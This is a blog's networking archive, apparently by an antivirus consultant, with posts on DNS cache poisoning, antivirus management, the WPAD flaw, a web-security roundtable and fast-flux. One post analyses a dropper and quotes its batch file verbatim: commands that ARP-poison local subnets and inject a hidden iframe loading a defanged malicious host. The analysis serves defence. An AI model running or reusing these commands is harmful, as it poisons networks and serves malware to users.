networking

You are currently browsing the archive for the networking category.

Fromakeg on Flickr - http://flickr.com/photos/akeg/
From akeg on Flickr.

From VNUNET via Packetstorm:

H D Moore, who crafted the original DNS exploit module, said in a blog posting that an attacker managed to run the cache-poisoning attack on a server belonging to AT&T’s internet service in Austin, Texas.

As a result of the attack, servers at BreakingPoint Systems, the network security firm which employs Moore as director of security research, redirected employee machines from Google.com to a third-party site loaded with advertisements.

Apparently no real damage caused by it for them, but there must be loads of other users on AT&T’s DNS-servers.

I’m all for full disclosure but this is really affecting a lot of people. We are seeing a big increase in infected computers and the DNS flaw might be what’s behind this (but I have no concrete proof of it).

Anyhow, admins at larger ISP’s better get patching now if they haven’t started already.

Cheers,

is without doubt the hands-on management aspects of the whole suites.

Every month I read news, blogs and press releases from both vendors and independents on detection effectiveness. Sometimes these news are about the accuracy of the vendors signatures, sometimes about the files the sig’s missed, sometimes it’s about the vendors brand new and shining behavioural analysis engines. But it is almost never about the technical management features of the products. What eventually makes the news in this aspect is either the new administration consoles that pop up every two to three years or if something fail in a spectacular fashion.

That kind of information is not really as newsworthy as a remedy to the latest threat, but one thing is for sure and that is that it doesn’t matter how good the detection ratios are if the client protections remain unmanaged, defunct or unlicensed.

Most of the time this is not a problem in larger networks where the appropriate funds and technical resources has been allocated, but if reviewing smaller companies or organizations (<500, sometimes larger) without dedicated security management you will often find problems.

The problems range from client communication malfunctions to management servers dropping dead for no particular reason. Often, these issues requires human interaction to resolve and this in turn increases the IT-services overhead. Sometimes this happens with our (Panda Security's) solutions and sometimes some other vendors (I consult for another company in the PCM Group and meet a lot of different environments).

I’m not saying this is the AV vendors fault, as it often turns out to be erroneous customer configurations and/or secondary system malfunctions (thank you Microsoft for your most excellent AD/DHCP/DNS solutions, thank you).

My point is that these problems, from a software point of view, should be a calculable risk.

People will make mistakes. People will be incompetent. People will be lazy. People will “install and forget”. People will be People. And we should be better at understanding and counteracting these factors.

The latest versions of Panda AdminSecure has some of this in functions that repair failing client protections automatically, but it surely is not enough. People should not be able to set permissions or deactivate polices that might be a danger to the protection functioning without some serious alarm bells going off. People should not be able to setup firewall policies that cripple the communication required and by that degrading the level of protection without the central management consoles showing large red flashing screens. If something is done by a Microsoft patch which might or do disrupt the correct functioning of any server components, the management tools should be able to tell the administrators this in a reliable fashion.

Surely there are those that think that this is complete bullshit and have the “if they’re morons and fail, plz let them burn” attitude. These people are ignorant of the overall picture and do not understand the underlying problem.

If there were no unprotected (not installed or malfunctioning protection) clients, there is a much smaller market for “corporate” malware creation. One effect of this is less money for the bad guys. Less money for the bad guys means they have less money to spend on maintaining developing new malware.

And of course, Less malware development => good for all.

In conclusion,

Security systems is all about reliability. How come AV’s are lagging on this particular point?

Users and less experienced technicians are unpredictable, but how hard can it be? We have built engines that can detect hostile code based on behavior, why not do the same to the admins ;)

but “L O L” at Microsofts latest security debacle ;)

I think their own advisory from 1999 (!!!) explains the issue pretty well:

The IE 5 Web Proxy Auto-Discovery (WPAD) feature enables web clients to automatically detect proxy settings without user intervention. The algorithm used by WPAD prepends the hostname “wpad” to the fully-qualified domain name and progressively removes subdomains until it either finds a WPAD server answering the domain name or reaches the third-level domain. For instance, web clients in the domain a.b.microsoft.com would query wpad.a.b.microsoft, wpad.b.microsoft.com, then wpad.microsoft.com. A vulnerability arises because in international usage, the third-level domain may not be trusted. A malicious user could set up a WPAD server and serve proxy configuration commands of his or her choice.

Well,

too bad they only protected their customers from this if their domains ended in .com, and that this issue has persisted through eight more years of code (how much new code did they say there were in Vista?). This little function seems to have remained unchanged for almost a decade anyhow…

Now let’s hope that Microsoft are faster than the bad guys… And in the meantime:

  • If you have a webfilter, block all adresses containing “wpad.” in them.
  • On most Windows operating systems, stopping the service “WinHTTP Web Proxy Auto-Discovery Service” would also do it, but some people have been having problems with this.

In other words, keep an eye on your network the next couple of weeks until MS produces a patch.

Cheers and browse safe!

… by the bad guys unfortunately ;)

When investigating one of the files that was being downloaded by the initial dropper from the Kirisun hack I found something very interesting. I do not know if this is a known technique, but it is new to me. The file I was looking at was the “24.exe” and the reason for choosing that one were:

  1. Easy :) Self-extracting RAR, no encryption and no sandbox detection.
  2. It was one of the largest files == lot’s of goodies?

After running the self-extracting RAR in the sandbox I ended up with the following files in c:\windows\system32\:

Contents

Inside the “drivers” folder a copy of npf.sys was dropped. This file belongs to the WinPcap project and so does some of the other files that were extracted.

The file that was supposed to auto start after decompression was “3.vbs” whose only job was to silently run “run.bat” which contained the following two lines:

Vml.exe -idx 0 -ip 192.168.0.1-192.168.0.254 -port 80 -insert “<iframe src=’hxxp://5.xqhgm.com/2.htm’ width=20 height=1></iframe>”
Vml.exe -idx 0 -ip 192.168.1.1-192.168.1.254 -port 80 -insert “<iframe src=’hxxp://5.xqhgm.com/2.htm’ width=20 height=1></iframe>”
exit

Ok, then what do our little friend Vml.exe do with these parameters I thought? After asking my friend Google I got the answer that I thought I would get, it was performing ARP poisoning on the local network (well, just the two subnets specified in the .bat) and inserting iframes into all websites being viewed. Previously discovered by CISRT earlier in November.

Genious! One point to the bad guys!

I downloaded and listened in on the web application security talk that Jeremiah Grossman (WhiteHat Security (coordinators of the talk), Robert “RSnake” Hansen (SecTheory), Chris Paggen (Cisco) and Jordan Wiens (Network Computing) had. This was an unscripted roundtable discussion and it was very interesting to me, as I’m not so skilled in the areas that they discussed (getting there, more on that in later posts). Full info on the talk can be found at:

http://jeremiahgrossman.blogspot.com/2007/11/live-online-roundtable-episode-1.html

For me, the part of the talk dealing with WAF’s (web application firewalls) and normalization of input was quite interesting. As discussed, there really is no good way to do it if the customer or developer do not know they way his server and webapps handles input (and output for that matter) and which features are needed. However, if there is good documentation of the webapp that is to be protected, you might get away with some normalization (and then why not do it). WAF’s in general is not something you “just plug in” and some more fine tuning will most likely be needed if normalization is something that you want to do.

Another thing that i thought was actually more interesting, was hearing these people that are specialists on web security discuss the PCI DSS and what their experience and comments on it were.

One good thing with the PCI DSS is that for an CTO/Administrator/Security engineer that is really dedicated to providing good security for his company and it’s clients, the standard can be used to push up security budgets and raise awareness in upper-management. However, the money will also have to be well spent, and that’s where some of the participants see a problem.

That problem is that companys and departments with dedicated budgets will try to hold down costs, sometimes even if they have the money needed for a thorough security solution, all for increased profit. This in turn might lead them to cheaper and less reliable certified scanners and vulnerability testers, that might not find holes where there actually are plenty. What does this lead to? Well, not much for those trying to fill the PCI’s requirements, as they will still pass (AND with no problems detected, wohooo). The cost, as usual, ends up with the customer that gets his or hers creditcard-data stolen from the site.

An update on this were posted by RSnake (one of the participants) on the 11/11-07.

Another topic regarding the PCI DSS that was discussed was it’s unclarity in certain paragraphs that might lead to total or partial circumvention of the upholding of the standard. No comments regarding this but it does indeed sound pretty serious if that’s the case ;)

More information on the PCI DSS here. And I also recommend you all to visit the link in the top of this post and listen to the whole webinar.

Cheers,

Someone pointed out to me that the meaning of the term “fast-flux” is not widely known (when talking about the storm worm). Did a quick dig on wikipedia and found an OK explanation,

http://en.wikipedia.org/wiki/Fast_flux :

“The simplest type of fast flux, referred to as “single-flux”, is characterized by multiple individual nodes within the network registering and de-registering their addresses as part of the DNS A (address) record list for a single DNS name. This combines round robin DNS with very short TTL (time to live) values to create a constantly changing list of destination addresses for that single DNS name. The list can be hundreds or thousands of entries long.
A more sophisticated type of fast flux, referred to as “double-flux”, is characterized by multiple nodes within the network registering and de-registering their addresses as part of the DNS SOA (start of authority) record list for the DNS zone. This provides an additional layer of redundancy and survivability within the malware network.”

Cheers,